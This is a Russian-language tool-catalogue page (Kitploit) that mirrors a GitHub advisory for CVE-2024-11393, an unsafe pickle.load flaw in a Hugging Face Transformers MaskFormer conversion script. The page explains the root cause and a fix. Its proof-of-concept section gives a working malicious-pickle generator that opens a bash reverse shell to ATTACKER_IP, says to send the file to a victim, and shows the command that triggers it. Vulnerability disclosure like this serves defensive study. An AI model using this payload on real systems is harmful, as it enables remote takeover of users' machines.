Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/piyush-bhor/cve-2024-11393
Vulnerability AnalysisCode AnalysisExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubpiyush-bhor/cve-2024-11393

CVE-2024-11393

Technical Details and Exploit for CVE-2024-11393

Репозиторий
411 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-11393

Hugging Face Transformers MaskFormer Model — уязвимость удаленного выполнения кода из-за десериализации недоверенных данных

Обзор высокого уровня и последствия уязвимости:
Уязвимость позволяет злоумышленнику выполнить произвольный код на целевой машине, предоставив вредоносный файл контрольной точки maskformer resnet скрипту convert_maskformer_swin_to_pytorch.py из репозитория Hugging Face Transformers.
Если ничего не подозревающий пользователь использует сторонний файл контрольной точки maskformer resnet, выполнение скрипта convert_maskformer_swin_to_pytorch.py приведет к удаленному выполнению кода (RCE) на системе жертвы.

Уязвимый продукт

  • Продукт: Hugging Face Transformers
  • Модуль: Maskformer
  • Файл: transformers/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py
  • Версия: последняя
  • Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

Анализ первопричины

  • Подробное описание уязвимости: Уязвимость возникает из-за небезопасной десериализации недоверенных данных. Скрипт использует pickle.load для загрузки файла контрольной точки и уязвим для выполнения кода.
  • Поток кода от входа до уязвимого состояния:
  1. Пользователь загружает стороннюю модель maskformer.
  2. Пользователь запускает скрипт convert_maskformer_swin_to_pytorch.py и передает ему файл контрольной точки.
  3. Скрипт convert_maskformer_swin_to_pytorch.py десериализует файл контрольной точки и выполняет вредоносный код.
  • Точка внедрения: Уязвимость возникает в момент вызова pickle.load.
    Постоянная ссылка GitHub: https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240

  • Предлагаемые исправления: Замените pickle.load на yaml.safe_load(yaml_file) или json.load, чтобы предотвратить выполнение произвольного кода.

  • Инструкции по выполнению доказательства концепции:

  1. Создайте вредоносный файл pickle malicious.pkl, который создаст обратную оболочку (reverse shell) на системе жертвы:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Malicious pickle file created successfully.")

Примечание: Измените ATTACKER_IP и ATTACKER_PORT перед отправкой файла жертве.

  1. Запустите скрипт convert_maskformer_swin_to_pytorch.py и передайте файл malicious.pkl в параметр --checkpoint_path:
root@kitploit:~
> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub 

Примечание: pytorch_dump_folder_path может быть задан как любая директория, а model_name — как любая модель.

Ссылка для загрузки ПО:
https://github.com/huggingface/transformers/tree/main

Скачать инструмент